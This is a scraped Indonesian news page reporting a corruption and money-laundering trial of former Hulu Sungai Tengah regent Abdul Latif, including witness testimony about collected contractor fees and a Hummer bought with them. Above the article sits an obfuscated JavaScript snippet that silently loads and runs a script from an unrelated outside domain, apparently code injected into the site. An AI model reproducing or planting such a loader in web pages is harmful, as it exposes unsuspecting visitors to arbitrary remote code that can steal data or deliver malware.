(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Sidang perkara suap dan Tindak Pidana Pencucian Uang (TPPU) dengan terdakwa mantan Bupati Hulu Sungai Tengah (HST), Abdul Latif kembali digelar, Kamis (15/2/2023) siang, di Pengadilan Tipikor Banjarmasin.
Kali ini, agenda sidang yaitu pembuktian dari Jaksa Penuntut Umum (JPU) dengan menghadirkan saksi-saksi. Dua saksi dihadirkan JPU yang merupakan orang dekat dari terdakwa, antara lain Fauzan Rifani (mantan Ketua Kamar Dagang dan Industri HST) dan Abdul Basit (Dirut PT Subriwa Agung 2008-2019).
Pada persidangan, majelis hakim yang diketuai oleh Jamser Simanjuntak memeriksa Fauzan Rifani yang juga sempat menjadi terpidana kasus korupsi pembangunan Rumah Sakit Umum Daerah Damanhuri Barabai.
Dalam keterangan, saksi menerangkan ketika dirinya masih menjabat Ketua Kadin, terdakwa Abdul Latif memerintahkan mengumpulkan fee proyek dari sejumlah kontraktor.
Baca juga: Sanksi Perda Miras di Banjarbaru Kelewat Ringan, Satpol PP Tak Kuasa Tutup Toko Penyedia Miras
Dirinya yang saat itu dipercaya menagih dan mengumpulkan fee kepada para kontraktor yang menang tander proyek pemerintah.
“Pada tahun 2016 saya disuruh Pak Latif (terdakwa) mengkoordinir mengumpulkan uang fee dari kawan-kawan kontraktor,” katanya.
Fauzan menjelaskan, nilai fee telah ditetapkan terdakwa yang terdiri dari proyek jalan, proyek bangunan, dan proyek pengadaan, dengan besaran persentase berbeda-beda.
“Yang mana dapat kerjaan di Hulu Sungai Tengah saya disuruh mengumpulkan, untuk jalan 10 persen, untuk pembangunan 7,5 persen, untuk pengadaan 5 persen,” ungkapnya.
Pada persidangan tersebut JPU juga mencecar terkait pembelian mobil mewah Hammer dengan nomor polisi DA 232 RK yang sebelumnya disita oleh Penyidik KPK.
Baca juga: Baru Terjun Lakoni Esek-esek Langsung Terciduk Satpol PP Banjarbaru
Saksi Fauzan mengakui jika mobil tersebut dirinya yang membeli atas perintah terdakwa dan dibeli dengan uang hasil pengumpulan fee proyek.
“Saya disuruh beli mobil Hammer pada Oktober 2016 dari uang fee itu,” katanya
“Yang membayar mobil itu saya, mobil bekas dari H Usen, sekitar 1 miliar lebih dari uang yang saya kumpulkan,” tambahnya.
JPU pun memperlihatkan bukti kwitansi pembayaran pembelian mobil merk Hammer tersebut yang tertulis nominal senilai Rp 1.075.000.000.bertempat di Barabai tanggal 10 Oktober 2016.
Di persidangan, majelis hakim juga menanyakan benifet yang diterima saksi Fauzan dari tugasnya mengumpulkan fee proyek para kontraktor.
Baca juga: Penuhi Asupan Gizi Anak, Disdikbud HSU Salurkan Bantuan Program BAAS
Saksi mengungkapkan, meskipun tidak mendapatkan uang secara langsung dari terdakwa, namun dirinya yang juga mempunyai perusahaan dapat sejumlah proyek pembangunan di Kabupaten HST.
“Saya tidak dapat apa-apa, kalau proyek dapat,” katanya.
Bahkan Fauzan mengungkapkan jika dirinya juga ikut menyetor fee untuk terdakwa mantan Bupati HST tersebut ketika perusahaan mendapatkan proyek pekerjaan.
Dirinya pun mengatakan, dalam beberapa tahun terakhir, setor fee proyek dari kontraktor kepada kepala daerah sudah lazim atau menjadi kebiasaan di wilayah tersebut.
“Saya menyetor juga, teman-teman setor, saya setor juga,” katanya.
“Di sana memang lazim mengasih bupati, sudah jadi rahasia umum,” ungkap saksi Fauzan.
Baca juga: Lantik 126 Kepala Sekolah, Ini Harapan Bupati Banjar
Terdakwa Abdul Latif juga turut menanggapi apa yang disampaikan saksi di persidangan. Latif menyanggah pernah memerintahkan saksi Fauzan untuk menerima fee kepada para kontraktor pemenang tander.
“Saya tidak pernah memerintahkan saksi meminta fee proyek,” kata Abdul Latif saat menanggapi keterangan saksi.
Untuk diketahui, terdakwa Abdul Latif sebelumnya didakwa oleh JPU melakukan tindak pidana suap dan pencucian uang sebesar Rp 41,5 miliar saat dirinya menjabat sebagai Bupati HST pada tahun 2016-2017.
Dirinya didakwa dengan Pasal berlapis yaitu melanggar Pasal 12B Undang-undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi, dan Pasal 3 Undang-Undang Nomor 8 Tahun 2010 tentang Pencegahan dan Pemberantasan Tindak Pidana Pencucian Uang. (kanalkalimantan.com/rizki)
Reporter: rizki
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Pernak-pernik Natal jelang perayaan Natal tahun 2024 di Kota Banjarbaru mulai ramai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Tim Taekwondo Indonesia (TI) Kabupaten Hulu Sungai Utara (HSU) sukses membawa pulang… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upacara peringatan Hari Bela Negara ke-76 dengan tema “Gelorakan Bela Negara untuk… Read More
KANALKALIMANTAN.COM, PELAIHARI - Nasib tragis dialami rombongan santri yang sedang melakukan libur akhir tahun di… Read More
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
This website uses cookies.